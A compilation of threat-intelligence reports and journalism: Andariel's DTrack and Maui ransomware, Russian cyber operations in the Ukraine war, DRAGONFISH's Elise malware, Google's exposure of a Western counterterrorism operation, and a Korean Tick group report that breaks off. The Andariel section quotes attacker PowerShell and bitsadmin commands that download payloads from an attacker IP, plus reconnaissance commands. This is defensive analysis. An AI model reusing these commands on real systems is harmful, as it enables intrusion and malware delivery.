# Andariel Deploys DTrack and Maui Ransomware **Authors** Kurt Baumgartner Seongsu Park On July 7, 2022, the CISA published an alert entitled, “North Korean State-Sponsored Cyber Actors Use Maui Ransomware To Target the Healthcare and Public Health Sector,” related to a Stairwell report, “Maui Ransomware.” Later, the Department of Justice announced that they had effectively clawed back $500,000 in ransom payments to the group, partly thanks to new legislation. We can confirm a Maui ransomware incident in 2022 and add some incident and attribution findings. We extend their “first seen” date from the reported May 2021 to April 15th, 2021, and the geolocation of the target to Japan. Because the malware in this early incident was compiled on April 15th, 2021, and compilation dates are the same for all known samples, this incident is possibly the first ever involving the Maui ransomware. While CISA provides no useful information in its report to attribute the ransomware to a North Korean actor, we determined that approximately ten hours prior to deploying Maui to the initial target system, the group deployed a variant of the well-known DTrack malware to the target, preceded by 3proxy months earlier. This data point, along with others, should openly help solidify the attribution to the Korean-speaking APT Andariel, also known as Silent Chollima and Stonefly, with low to medium confidence. ## Background We observed the following timeline of detections from an initial target system: 1. **2020-12-25** Suspicious 3proxy tool 2. **2021-04-15** DTrack malware 3. **2021-04-15** Maui ransomware ### DTrack Malware - **MD5**: 739812e2ae1327a94e441719b885bd19 - **SHA1**: 102a6954a16e80de814bee7ae2b893f1fa196613 - **SHA256**: 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f67 - **Link time**: 2021-03-30 02:29:15 - **File type**: PE32 executable (GUI) Intel 80386, for MS Windows - **Compiler**: VS2008 build 21022 - **File size**: 1.2 MB - **File name**: C:\Windows\Temp\temp\mvhost.exe Once this malware is spawned, it executes an embedded shellcode, loading a final Windows in-memory payload. This malware is responsible for collecting victim information and sending it to the remote host. Its functionality is almost identical to previous DTrack modules. This malware collects information about the infected host via Windows commands. The in-memory payload executes the following Windows commands: 1. `"C:\Windows\system32\cmd.exe" /c ipconfig /all > "%Temp%\temp\res.ip"` 2. `"C:\Windows\system32\cmd.exe" /c tasklist > "%Temp%\temp\task.list"` 3. `"C:\Windows\system32\cmd.exe" /c netstat -naop tcp > "%Temp%\temp\netstat.res"` 4. `"C:\Windows\system32\cmd.exe" /c netsh interface show interface > "%Temp%\temp\netsh.res"` 5. `"C:\Windows\system32\cmd.exe" /c ping -n 1 8.8.8.8 > "%Temp%\temp\ping.res"` In addition, the malware collects browser history data, saving it to the browser.his file, just as the older variant did. Compared to the old version of DTrack, the new information-gathering module sends stolen information to a remote server over HTTP, and this variant copies stolen files to the remote host on the same network. ### Maui Ransomware The Maui ransomware was detected ten hours after the DTrack variant on the same server. - **MD5**: ad4eababfe125110299e5a24be84472e - **SHA1**: 94db86c214f4ab401e84ad26bb0c9c246059daff - **SHA256**: a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa - **Link time**: 2021-04-15 04:36:00 - **File type**: PE32 executable (GUI) Intel 80386, for MS Windows - **File size**: 763.67 KB - **File name**: C:\Windows\Temp\temp\maui.exe Multiple run parameters exist for the Maui ransomware. In this incident, we observe the actors using “-t” and “-x” arguments, along with a specific drive path to encrypt: `C:\Windows\Temp\temp\bin\Maui.exe -t 8 -x E:` In this case, “-t 8” sets the ransomware thread count to eight, “-x” commands the malware to “self melt,” and the “E:” value sets the path (the entire drive in this case) to be encrypted. The ransomware functionality is the same as described in the Stairwell report. The malware created two key files to implement file encryption: - **RSA private key**: C:\Windows\Temp\temp\bin\Maui.evd - **RSA public key**: C:\Windows\Temp\temp\bin\Maui.key ### Similar DTrack Malware on Different Victims Pivoting on the exfiltration information to the adjacent hosts, we discovered additional victims in India. One of these hosts was initially compromised in February 2021. In all likelihood, Andariel stole elevated credentials to deploy this malware within the target organization, but this speculation is based on paths and other artifacts, and we do not have any further details. - **MD5**: f2f787868a3064407d79173ac5fc0864 - **SHA1**: 1c4aa2cbe83546892c98508cad9da592089ef777 - **SHA256**: 92adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344c13a44cd59ae - **Link time**: 2021-02-22 05:36:16 - **File type**: PE32 executable (GUI) Intel 80386, for MS Windows - **File size**: 848 KB The primary objective of this malware is the same as in the case of the aforementioned victim in Japan, using different login credentials and local IP address to exfiltrate data. ### Windows Commands to Exfiltrate Data From the same victim, we discovered additional DTrack malware (MD5 87e3fc08c01841999a8ad8fe25f12fe4) using different login credentials. ### Additional DTrack Module and Initial Infection Method The “3Proxy” tool, likely utilized by the threat actor, was compiled on 2020-09-09 and deployed to the victim on 2020-12-25. Based on this detection and compilation date, we expanded our research scope and discovered an additional DTrack module. This module was compiled 2020-09-16 14:16:21 and detected in early December 2020, having a similar timeline to the 3Proxy tool deployment. - **MD5**: cf236bf5b41d26967b1ce04ebbdb4041 - **SHA1**: feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 - **SHA256**: 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145 - **Link time**: 2020-09-16 14:16:21 - **File type**: PE32 executable (GUI) Intel 80386, for MS Windows - **Compiler**: VS2008 build 21022 - **File size**: 136 KB - **File name**: %appdata%\microsoft\mmc\dwem.cert This DTrack module is very similar to the EventTracKer module of DTrack, which was previously reported to our Threat Intelligence customers. In one victim system, we discovered that a well-known simple HTTP server, HFS7, had deployed the malware above. After an unknown exploit was used on a vulnerable HFS server and “whoami” was executed, the Powershell command below was executed to fetch an additional Powershell script from the remote server: `C:\windows\system32\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('hxxp://145.232.235[.]222/usr/users/mini.ps1')` The mini.ps1 script is responsible for downloading and executing the above DTrack malware via bitsadmin.exe: 1. `bitsadmin.exe /transfer myJob /download /priority high` 2. `"hxxp://145.232.235[.]222/usr/users/dwem.cert" "%appdata%\microsoft\mmc\dwem.cert"` The other victim operated a vulnerable Weblogic server. According to our telemetry, the actor compromised this server via the CVE-2017-10271 exploit. We saw Andariel abuse identical exploits and compromise WebLogic servers in mid-2019, and previously reported this activity to our Threat Intelligence customers. In this case, the exploited server executes the Powershell command to fetch the additional script. The fetched script is capable of downloading a Powershell script from the server we mentioned above (hxxp://145.232.235[.]222/usr/users/mini.ps1). Therefore, we can summarize that the actor abused vulnerable Internet-facing services to deploy their malware at least until the end of 2020. ## Victims The July 2022 CISA alert noted that the healthcare and public health sectors had been targeted with the Maui ransomware within the US. However, based on our research, we believe this operation does not target specific industries and that its reach is global. We can confirm that the Japanese housing company was targeted with the Maui ransomware on April 15, 2021. Also, victims from India, Vietnam, and Russia were infected within a similar timeframe by the same DTrack malware as used in the Japanese Maui incident: from the end of 2020 to early 2021. Our research suggests that the actor is rather opportunistic and could compromise any company around the world, regardless of their line of business, as long as it enjoys good financial standing. It is probable that the actor favors vulnerable Internet-exposed web services. Additionally, Andariel deployed ransomware selectively to make financial profits. ## Attribution According to the Kaspersky Threat Attribution Engine (KTAE), the DTrack malware from the victim contains a high degree of code similarity (84%) with previously known DTrack malware. Also, we discovered that the DTrack malware (MD5 739812e2ae1327a94e441719b885bd19) employs the same shellcode loader as “Backdoor.Preft” malware (MD5 2f553cba839ca4dab201d3f8154bae2a), published/reported by Symantec – note that Symantec recently described the Backdoor.Preft malware as “aka Dtrack, Valefor.” Apart from the code similarity, the actor used 3Proxy tool (MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb), and that tool was also previously employed by the Andariel/StoneFly/Silent Chollima group (MD5 95247511a611ba3d8581c7c6b8b1a38a). Symantec attributes StoneFly as the North Korean-linked actor behind the DarkSeoul incident. ## Conclusions Based on the modus operandi of this attack, we conclude that the actor’s TTPs behind the Maui ransomware incident are remarkably similar to past Andariel/Stonefly/Silent Chollima activity: - Using legitimate proxy and tunneling tools after initial infection or deploying them to maintain access, and using Powershell scripts and Bitsadmin to download additional malware. - Using exploits to target known but unpatched vulnerable public services, such as WebLogic and HFS. - Exclusively deploying DTrack, also known as Preft. - Dwell time within target networks can last for months prior to activity. - Deploying ransomware on a global scale, demonstrating ongoing financial motivations and scale of interest.
# Fog of War: How the Ukraine Conflict Transformed the Cyber Threat Landscape ## Foreword One year ago, Russia invaded Ukraine. Since then, tens of thousands of people have been killed, millions of Ukrainians have fled, and the country has sustained tens of billions of dollars worth of damage. Importantly, this marks the first time that cyber operations have played such a prominent role in a world conflict. Since the war began, governments, companies, civil society groups, and countless others have been working around the clock to support the Ukrainian people and their institutions. At Google, we support these efforts and continue to announce new commitments and support to Ukraine. This includes a donation of 50,000 Google Workspace licenses for the Ukrainian government and a rapid Air Raid Alerts system for Android phones in Ukraine, support for refugees, businesses, and entrepreneurs, and measures to indefinitely pause monetization and significantly limit recommendations globally for a number of Russian state news media across our platforms. One of the most pressing challenges, however, is that the Ukrainian government is under near-constant digital attack. That’s why one of our most important contributions to date has been our ongoing work to provide cybersecurity assistance to Ukraine. Shortly after the invasion, for example, we expanded eligibility for Project Shield, our free protection against distributed denial of service attacks (DDoS), so that Ukrainian government websites and embassies worldwide could stay online and continue to offer their critical services. This level of collective defense—between governments, companies, and security stakeholders across the world—is unprecedented in scope. It is important then to pause and reflect on this work and our learnings one year later, and share those with the global security community to help prepare better defenses for the future. This report outlines our analysis of these issues and includes the following three observations, informed by over two decades of experience managing complex global security events. First, Russian government-backed attackers have engaged in an aggressive, multi-pronged effort to gain a decisive wartime advantage in cyberspace, often with mixed results. This includes a significant shift in various groups’ focus towards Ukraine, a dramatic increase in the use of destructive attacks on Ukrainian government, military, and civilian infrastructure, a spike in spear-phishing activity targeting NATO countries, and an uptick in cyber operations designed to further multiple Russian objectives. Second, Moscow has leveraged the full spectrum of information operations—from overt state-backed media to covert platforms and accounts—to shape public perception of the war. These operations have three goals: (1) undermine the Ukrainian government; (2) fracture international support for Ukraine; and (3) maintain domestic support in Russia for the war. We’ve seen spikes of activity associated with key events in the conflict such as the buildup, invasion, and troop mobilization in Russia. At Google, we’ve worked aggressively across products, teams, and regions to counter these activities where they violate our policies and disrupt overt and covert information operations campaigns, but continue to encounter relentless attempts to circumvent our policies. Finally, the invasion has triggered a notable shift in the Eastern European cybercriminal ecosystem that will likely have long-term implications for both coordination between criminal groups and the scale of cybercrime worldwide. Some groups, for example, have split over political allegiances and geopolitics, while others have lost prominent operators. This will impact the way we think about these groups and our traditional understanding of their capabilities. We’ve also seen a trend towards specialization in the ransomware ecosystem that blends tactics across actors, making definitive attribution more difficult. Importantly, the war in Ukraine has also been defined by what we expected—but didn’t see. For example, we didn’t observe a surge of attacks against critical infrastructure outside of Ukraine. ## Section 1: Government-backed Attackers Russian government-backed attackers aggressively pursue wartime advantage in cyberspace. Since the start of the war, Russian government-backed attackers have aggressively targeted Ukraine and its supporters, particularly NATO member countries. Based on analysis from across Google, we see a multi-pronged Russian effort to gain a wartime advantage through cyberspace. This effort includes a range of campaigns designed to improve intelligence collection, deploy destructive attacks against victim networks, and advance active measures to shape the information environment in Moscow’s favor. ### A Note on Threat Actor Naming Conventions Our understanding of these groups is based on a body of technical data that includes infrastructure, malware, and the broader set of tactics, techniques, and procedures (TTPs) threat actors use in their campaigns. Other analysts may use different methodologies to assess actor activity. There is no single industry standard for naming these actors, but we’ve listed aliases where our group names align with others. Attribution to the underlying entity behind the group often comes later (if at all) from clues in the technical data and other sources like media and publicly available government documents. ### Phishing Remains a Prominent Initial Access Vector We assess that these attacks were all carried out by Russian government-backed attackers. From 2021-2022, TAG observed government-backed attackers conduct phishing campaigns against a series of targets. During that time, we saw a steady drumbeat in phishing attacks. In 2022, for example, we saw a 250% increase targeting users in Ukraine and an over 300% increase targeting users in NATO countries—both compared to a 2020 baseline. These numbers include Gmail users and accounts with a country code top-level domain (e.g., @gov.ua). ### Destructive Cyber Attacks Targeting Ukraine Russian-backed government actors used destructive malware—commonly called “wipers” because they destroy data—to target Ukraine in 2015, 2016, and 2017. The NotPetya attack in 2017 caused billions of dollars of damage globally. As a result, many experts anticipated similar attacks during the war and that the effects would spill over outside Ukraine, which largely did not happen. From its incident response work, Mandiant observed more destructive cyberattacks in Ukraine during the first four months of 2022 than in the previous eight years, with attacks peaking around the start of the invasion. ### Russian Uses Cyber Operations for Multiple Strategic Objectives We’ve observed a notable uptick in the intensity and frequency of Russian cyber operations designed to maximize access to victim networks, systems, and data to achieve multiple strategic objectives. For example, GRU-sponsored actors have used their access to steal sensitive information and release it to the public to further a narrative, or use that same access to conduct destructive cyber attacks or information operations campaigns. ## Section 2: Information Operations Moscow leverages the full spectrum of information operations to shape public perception of war. We’ve seen significant changes in the information landscape as Moscow leverages the full spectrum of information operations—from overt state-backed media to covert platforms and accounts—to shape public perception of the war. These operations have three goals: (1) undermine the Ukrainian government; (2) fracture international support for Ukraine; and (3) maintain domestic support in Russia for the war. ### Resurgence of Hacktivism The range of actors involved in covert campaigns spans government-backed actors discussed earlier, dedicated IO actors, and ideologically motivated hacktivists. The war has triggered an increase in declared hacktivist activity and a rise in the use of hacktivist tactics, bringing a renewed and sustained prominence to such activity. ### Disrupting Russian IO TAG’s research and rigorous analysis enables Google teams to make enforcement decisions and disrupt coordinated IO campaigns. Examples of this enforcement include disruption of YouTube channels, blogs, AdSense accounts, and domains removed from Google News surfaces. While Russian IO campaigns have three primary focuses, the Russian covert IO we’ve disrupted on Google product surfaces primarily focuses on maintaining Russian domestic support for the war in Ukraine. ## Conclusion The ongoing conflict in Ukraine has transformed the cyber threat landscape, highlighting the critical role of cyber operations in modern warfare. As we continue to monitor and respond to these threats, it is essential to share our findings and collaborate with the global security community to enhance defenses against future cyber threats.
# Threat Analysis ## Latest Cyber Espionage Malware Attacks ### Dragonfish Delivers New Form of Elise Malware Targeting ASEAN Defence Ministers’ Meeting and Associates The well-known threat group called DRAGONFISH or Lotus Blossom is distributing a new form of Elise malware targeting organizations for espionage purposes. The threat actors associated with DRAGONFISH have previously focused their campaigns on targets in Southeast Asia, specifically those located in countries near the South China Sea. These attacks have mainly targeted high-profile government, military, and political institutions, but other victims include those operating in the education and telecommunication industries. iDefense analysts have identified a campaign likely targeting members of or those with affiliation or interest in the ASEAN Defence Ministers’ Meeting (ADMM). This threat analysis provides security operations center (SOC) analysts and engineers with detailed information pertaining to the workings of the Elise malware family and the indicators of compromise (IoCs) to assist them in their own independent analyses. This threat analysis will help to inform organizations and support their decision-making on how to better contain or mitigate the threat through monitoring or blocking. They may consider using the information to inform hunting activities for systems that may already have been compromised, or by using the IoCs by adding them to hunting lists or endpoint detection & response (EDR) solutions as well as to network- and host-based backlists to detect and deny malware implantation and command and control (C2) communication or whatever mitigations they determine are most appropriate for their environments. Given the inherent nature of threat intelligence, it is based on information gathered and understood at a specific point in time. ## Technical Report ### Description iDefense analysts have identified a campaign likely targeting members of or those with affiliation or interest in the ASEAN Defence Minister’s Meeting (ADMM). iDefense assesses with high confidence that this campaign is associated with the threat group DRAGONFISH (also known as Lotus Blossom and Spring Dragon). ### Malware Analysis Knowledge of DRAGONFISH's tactics, techniques, and procedures (TTPs) helps to better inform detection and response to attacks by this threat group. The sample iDefense identified is a malicious Microsoft Corp. Word document with the following properties: - **MD5:** f12fc711529b48bcef52c5ca0a52335a - **Author:** mary - **Last Modified by:** mary - **Created Time Stamp:** 2018:01:19 14:56:00 (Jan. 19, 2018, 2:56 p.m.) - **Last Modified Time Stamp:** 2018:01:19 14:56:00 (Jan. 19, 2018, 2:56 p.m.) The Word document, which includes information on ADMM-Plus members, has a malicious executable file embedded as an OLE object. The embedded file named a.b is dropped to the %temp% folder once the Word document is opened and is executed by exploiting the CVE-2017-11882 vulnerability. The payload is consequently moved to \AppData\Roaming\Microsoft\Windows\Caches\ as a file named NavShExt.dll and the executable a.b is deleted. This file NavShExt.dll is a PE32 dynamic-link library (DLL), and the filename suggests that the malware author intended to disguise the file as a legitimate Symantec Corp. anti-virus component called the Norton Security Shell Extension Module. The DLL has the following properties: - **MD5 Hash:** cd36bbd7f949cf017edba0e6aaadf28c - **Compile Time:** 2018-01-12 17:59:58 (Jan. 12, 2018, 5:59 p.m.) - **Export Function:** Setting The malware performs the following set of actions: 1. Starts iexplore.exe (Internet Explorer) in a suspended state. 2. Injects NavShExt.dll into the iexplore.exe process and calls the DLL export Setting function. 3. The iexplore.exe process continues to run in the background. 4. Creates a mutex named donotbotherme to avoid having duplicated executions. 5. Creates a file named thumbcache_1CD60.db in AppData\Local\Microsoft\Windows\Explorer\ where the harvested data is stored. 6. Sends data to and downloads files and commands from the designated C2 server. 7. Harvests extensive system information from the machine, such as: - LAN and WAN IP addresses (for the latter, it uses the free IP address service ipaddress.com) - Proxy information - Installed software list - Process enumeration via tasklist - List of all the files on the user’s desktop. Based on the currently available intelligence, we also believe the malware is capable of providing the attacker with a remote shell on the host and can completely uninstall itself. Execution debug messages are stored in the %temp% folder in a file named FXSAPIDebugLogFile.tmp. Example messages include Client Start!, indicating a successful infection, or an error message such as [2018-1-25 13:35:22] Try All Addr Failed! Sleep For: 10.100000 Minutes!, indicating that the C2 server cannot be reached and the malware will sleep for a fixed amount of time. Logs are encrypted using the following static AES key: Ss)4:WKsRr(3/VJrQq&2.UIqPp%1-THp. Of particular interest is an embedded, custom application in a .data section that is responsible for loading and executing executables and DLLs from inside the main binary. The application supports the following command-line options: - runexe 1.exe /c command… - rundll 1.dll, DllMain When attempting to find more information about this application, iDefense discovered a file with the MD5 hash cfa7954722d4277d26e96edc3289a4ce, which features the same application and was mentioned in a 2015 report titled Operation Lotus Blossom by the Unit42 team at partner organization Palo Alto Networks. Several observations detailed in this report on Elise variant C align with the findings disclosed above: - Similar targeting of Southeast Asia - Same export function name in the dropper DLL: Setting - Identical custom application to load and execute EXEs or DLLs - Heavy anti-virtual-machine features - Similar obfuscation techniques used to exfiltrate data to C2 server (using base64-encoded cookie values) In contrast to the earlier campaigns, debug paths are completely stripped. Persistence is achieved using the Run Registry key with the value name IAStorD: - HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAStorD As mentioned earlier, two hidden DLLs can be discovered that are additionally injected into iexplore.exe and have the export functions named DePatchEntry or EvilEntry. These DLLs provide additional loading and other anti-analysis functionalities. The malware attempts to spoof the host and query non-existing domains, such as: - 3qyo4o7.7r7i3[.]info - dtdf5vu.nt7yq[.]info - j.4tc3ldw.g9ml.www0[.]org - 38qmk6.0to9[.]info - ubkv1t.ec0[.]com - 7g91xhp.envuy3[.]net - l.hovux.eln9wj7.7gpj[.]org - w.7sytdjc.wroi.cxy[.]com This is likely done to throw off malware analysts or network administrators. The real C2 server, 103.236.150[.]14, is actually hardcoded. ## Mitigation To mitigate the threat of the described campaign, security teams can consider blocking access to the C2 server 103.236.150[.]14 and, where applicable, ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability. For threat hunting, iDefense also suggests that analysts look for the following artifacts: - A value named IAStorD in the autorun key - A file named FXSAPIDebugLogFile.tmp - A mutex handle named donotbotherme - thumbcache_1CD60.db in AppData\Local\Microsoft\Windows\Explorer\ Given the inherent nature of threat intelligence, the content contained in this alert is based on information gathered and understood at the time of its creation. It is subject to change. Accenture provides the information on an “as-is” basis without representation or warranty and accepts no liability for any action or failure to act taken in response to the information contained or referenced in this report.
# Google’s Top Security Teams Unilaterally Shut Down a Counterterrorism Operation Patrick Howell O'Neill Google’s security teams publicly exposed a nine-month hacking operation. What wasn’t disclosed: The move shut down an active counter-terrorist operation being conducted by a Western government. The decision has raised alarms inside Google and elsewhere. Google runs some of the most venerated cybersecurity operations on the planet: its Project Zero team, for example, finds powerful undiscovered security vulnerabilities, while its Threat Analysis Group directly counters hacking backed by governments, including North Korea, China, and Russia. And those two teams caught an unexpectedly big fish recently: an “expert” hacking group exploiting 11 powerful vulnerabilities to compromise devices running iOS, Android, and Windows. But MIT Technology Review has learned that the hackers in question were actually Western government operatives actively conducting a counterterrorism operation. The company’s decision to stop and publicize the attack caused internal division at Google and raised questions inside the intelligence communities of the United States and its allies. A pair of recent Google blog posts detail the collection of zero-day vulnerabilities that it discovered hackers using over the course of nine months. The exploits, which went back to early 2020 and used never-before-seen techniques, were “watering hole” attacks that used infected websites to deliver malware to visitors. They caught the attention of cybersecurity experts thanks to their scale, sophistication, and speed. Google’s announcement glaringly omitted key details, however, including who was responsible for the hacking and who was being targeted, as well as important technical information on the malware or the domains used in the operation. At least some of that information would typically be made public in some way, leading one security expert to criticize the report as a “dark hole.” “Different ethical questions” Security companies regularly shut down exploits that are being used by friendly governments, but such actions are rarely made public. In response to this incident, some Google employees have argued that counterterrorism missions ought to be out of bounds of public disclosure; others believe the company was entirely within its rights, and that the announcement serves to protect users and make the internet more secure. “Project Zero is dedicated to finding and patching 0-day vulnerabilities, and posting technical research designed to advance the understanding of novel security vulnerabilities and exploitation techniques across the research community,” a Google spokesperson said in a statement. “We believe sharing this research leads to better defensive strategies and increases security for everyone. We don’t perform attribution as part of this research.” It’s true that Project Zero does not formally attribute hacking to specific groups. But the Threat Analysis Group, which also worked on the project, does perform attribution. Google omitted many more details than just the name of the government behind the hacks, and through that information, the teams knew internally who the hacker and targets were. It is not clear whether Google gave advance notice to government officials that they would be publicizing and shutting down the method of attack. But Western operations are recognizable, according to one former senior US intelligence official. “There are certain hallmarks in Western operations that are not present in other entities … you can see it translate down into the code,” said the former official, who is not authorized to comment on operations and spoke on condition of anonymity. “And this is where I think one of the key ethical dimensions comes in. How one treats intelligence activity or law enforcement activity driven under democratic oversight within a lawfully elected representative government is very different from that of an authoritarian regime.” “The oversight is baked into Western operations at the technical, tradecraft, and procedure level,” they added. Google found the hacking group exploiting 11 zero-day vulnerabilities in just nine months, a high number of exploits over a short period. Software that was attacked included the Safari browser on iPhones but also many Google products, including the Chrome browser on Android phones and Windows computers. But the conclusion within Google was that who was hacking and why is never as important as the security flaws themselves. Earlier this year, Project Zero’s Maddie Stone argued that it is too easy for hackers to find and use powerful zero-day vulnerabilities and that her team faces an uphill battle detecting their use. Instead of focusing on who was behind and targeted by a specific operation, Google decided to take broader action for everyone. The justification was that even if a Western government was the one exploiting those vulnerabilities today, it will eventually be used by others, and so the right choice is always to fix the flaw today. “It’s not their job to figure out” This is far from the first time a Western cybersecurity team has caught hackers from allied countries. Some companies, however, have a quiet policy of not publicly exposing such hacking operations if both the security team and the hackers are considered friendly—for example, if they are members of the “Five Eyes” intelligence alliance, which is made up of the United States, the United Kingdom, Canada, Australia, and New Zealand. Several members of Google’s security teams are veterans of Western intelligence agencies, and some have conducted hacking campaigns for these governments. In some cases, security companies will clean up so-called “friendly” malware but avoid going public with it. “They typically don’t attribute US-based operations,” says Sasha Romanosky, a former Pentagon official who published recent research into private-sector cybersecurity investigations. “They told us they specifically step away. It’s not their job to figure out; they politely move aside. That’s not unexpected.” While the Google situation is in some ways unusual, there have been somewhat similar cases in the past. The Russian cybersecurity firm Kaspersky came under fire in 2018 when it exposed an American-led counterterrorism cyber operation against ISIS and Al Qaeda members in the Middle East. Kaspersky, like Google, did not explicitly attribute the threat but nevertheless exposed it and rendered it useless, American officials said, which caused the operatives to lose access to a valuable surveillance program and even put the lives of soldiers on the ground at risk. Kaspersky was already under heavy criticism for its relationship with the Russian government at the time, and the company was ultimately banned from US government systems. It has always denied having any special relationship with the Kremlin. Google has found itself in similar water before, too. In 2019, the company released research on what may have been an American hacking group, although specific attribution was never made. But that research was about a historical operation. Google’s recent announcements, however, put the spotlight on what had been a live cyber-espionage operation. Who’s being protected? The alarms raised both inside government and at Google show the company is in a difficult position. Google security teams have a responsibility to the company’s customers, and it is widely expected that they will do their utmost to protect the products—and therefore users—who are under attack. In this incident, it’s notable that the techniques used affected not just Google products like Chrome and Android, but also iPhones. While different teams draw their own lines, Project Zero has made its name by tackling critical vulnerabilities all over the internet, not just those found in Google’s products. The NSA found a dangerous flaw in Windows and told Microsoft to fix it. The secretive security agency identified the vulnerability and is taking public credit as part of an effort to “build trust.” “Each step we take towards making 0-day hard, makes all of us safer,” tweeted Maddie Stone, one of the most highly respected members of the security team, when the latest research was published. But while protecting customers from attack is important, some argue that counterterrorism operations are different, with potentially life-and-death consequences that go beyond day-to-day internet security. When state-backed hackers in Western nations find cybersecurity flaws, there are established methods for working out the potential costs and benefits of disclosing the security gap to the company that is affected. In the United States, it’s called the “vulnerabilities equities process.” Critics worry that US intelligence hoards large numbers of exploits, but the American system is more formal, transparent, and expansive than what’s done in almost every other country on earth, including Western allies. The process is meant to allow government officials to balance the advantages of keeping flaws secret in order to use them for intelligence purposes with the wider benefits of telling a tech company about a weakness in order to have it fixed. “The level of oversight even in Western democracies about what their national security agencies are actually doing is, in many cases, a lot less than we have in the United States,” says Michael Daniel, who was White House cybersecurity coordinator for the Obama administration. “The degree of parliamentary oversight is much less. These countries do not have the robust inter-agency processes the US has. I’m not normally one to brag about the US—we’ve got a lot of problems—but this is one area where we have robust processes that other Western democracies just don’t.” The fact that the hacking group hit by the Google investigation possessed and used so many zero-day vulnerabilities so rapidly could indicate a problematic imbalance. But some observers worry about live counterterrorism cyberoperations being shut down at potentially decisive moments without the ability to quickly start up again. “US allies don’t all have the ability to regenerate entire operations as quickly as some other players,” the former senior US intelligence official said. Worries about suddenly losing access to an exploit capability or being spotted by a target are particularly high for counterterrorism missions, especially during “periods of incredible exposure” when a lot of exploitation is taking place, the official explained. Google’s ability to shut down such an operation is likely to be the source of more conflict. “This is still something that hasn’t been well addressed,” the official said. “The idea that someone like Google can destroy that much capability that quickly is slowly dawning on folks.”
# Tick Group 공격 동향 보고서 ## 개요 틱 그룹 (Tick Group)은 볼드나이트 (Bald Knight), 브론즈 버틀러 (Bronze Butler), 니안 (Nian), 레드볼드나이트 (RedBaldKnight) 등으로도 불리는 공격 그룹으로, 지난 2014년부터 본격적인 활동이 포착되었다. 이 그룹이 처음 알려진 것은 2013년 어도비 플래시 플레이어 제로데이 취약점인 CVE-2013-0633과 CVE-2013-0634를 이용한 레이디보일 (Ladyboyle)이다. 2016년 4월 시만텍 (Symantec)이 처음으로 이 그룹을 ‘틱 (Tick)’으로 명명했으며, 같은 해 11월 일본의 보안 업체인 LAC에서 이 그룹의 일본 활동을 공개했다. 2017년 6월에는 시큐어웍스 (SecureWorks)에서 브론즈 버틀러 (Bronze Butler)라는 이름으로 이 그룹의 활동을 공개하고, 같은 해 7월 팔로알토 네트웍스와 11월 트렌드마이크로에서 추가 정보를 공개했다. 2018년 6월 팔로알토 유닛 42는 이 그룹이 한국의 보안 USB에 대한 공격도 시도했다고 밝혔다. 2014년 이후에는 주로 한국과 일본 기관 및 기업에 대한 공격을 시도하고 있다. 다만 이 보다 앞선 2008년 국내에서 해당 그룹과 관련된 악성코드가 발견된 바 있어 이 그룹의 국내 공격은 상당히 오랫동안 지속되었을 가능성이 있다. 이 그룹은 한국과 일본의 IT 환경을 연구해 공격을 전개하고 있다. 일본에서 주로 사용되는 제품의 취약점을 이용해 악성코드를 감염시켰으며, 한국에서는 취약점 공격 외에도 국산 백신이나 보안 USB 제품을 공격하는 등 다양한 공격을 시도하고 있다. 이 그룹이 일본에서 전개한 공격에 대해서는 잘 알려져 있으나 상대적으로 한국에서의 활동에 대해서는 알려진 것이 적다. 본 보고서에서는 틱 그룹의 한국 및 일본 공격 사례를 상세히 분석한다. ## 주요 공격 사례 틱 그룹은 지난 2014년 이후 지속적으로 한국과 일본을 대상으로 공격을 전개하고 있다. 국내 공격 사례의 경우, 방위산업체를 비롯해 국방 및 정치 관련 기관, 에너지, 전자, 제조, 보안, 웹 호스팅, IT 서비스 업체 등 다양한 산업 분야를 공격 대상으로 하고 있다. 주로 스피어피싱, 어도비 플래시나 MS 오피스의 취약점 공격, 워터링홀 등의 공격 기법을 사용한다. 악성코드에 쓰레기 코드를 추가해 분석을 방해하거나 악성코드 파일을 생성할 때 수십 ~ 수백 메가 바이트의 길이를 가진 파일을 생성해 보안 프로그램의 우회를 시도한다. 또 국산 백신이나 국산 보안 USB 제품을 공격하거나 악성코드가 포함된 가짜 설치판 파일을 이용한 공격을 시도했다. | 공격 시기 | 공격 대상 | 공격 방식 | |------------|------------|------------| | 2013년 2월 | 알려지지 않음 | 플래시 취약점 (CVE-2013-0633, CVE-2013-0634)을 이용한 공격 | | 2014년 3월 | 한국 – 방위산업체 | Netboy 변형으로 공격. 해당 변형은 한국에서 다수의 감염 보고 | | 2015년 1월 | 한국 - 대기업 A | Bisodown 변형으로 공격 | | 2015년 5월 | 한국 - 대기업 B | Netboy 변형으로 공격 | | 2015년 6월 | 아시아 – 금융 | | | 2016년 2월 | 한국 – 해양 산업 | Daserf 변형으로 공격. 2016년 6월 한국 통신사 회사에서 발견된 Daserf 악성코드와 동일 | | 2016년 6월 | 일본 - 여행사 | LAC 보고서에 따름 | | 2016년 6월 | 한국 - 통신사 | Daserf 변형으로 공격 | | 2016년 9월 | 한국 - 에너지 | Datper 변형으로 공격 | | 2016년 12월 | 일본 - 기업 | 일본 자산관리 소프트웨어 취약점 (CVE-2016-7836)을 공격해 감염 | | 2017년 4월 | 한국 – 미확인 | 2018년 팔로알토 유닛 42를 통해 한국 보안 USB에 대한 공격 알려짐 | | 2018년 5월 | 한국 – 국방분야 | Bisodown 변형으로 공격. 군사 관련 내용으로 위장한 파일 (decoy) 등으로 미루어 국방 분야 관계자가 목표로 추정 | | 2018년 5월 | 한국 - 정치기구 | Bisodown 이용해 공격 | | 2018년 8월 | 한국 - 국방분야 | Bisodown 변형으로 공격. 감염된 시스템에서 Linkinfo.dll 파일 이름을 가진 Keylogger 함께 발견 | | 2018년 9월 | 한국 - 정치기구 | Datper 변형으로 공격 | | 2019년 1월 | 한국 - 정보보안 | JPCERT에서 2019년 2월 정보 공개한 Datper 변형으로 공격 | | 2019년 1월 | 한국 - 웹호스팅 | 2019년 1월 한국 보안 업체에서 발견된 악성코드와 동일 | | 2019년 2월 | 한국 - 전자부품 | JPCERT에서 2019년 2월 정보 공개한 Datper 변형으로 공격 | | 2019년 2월 | 한국 - 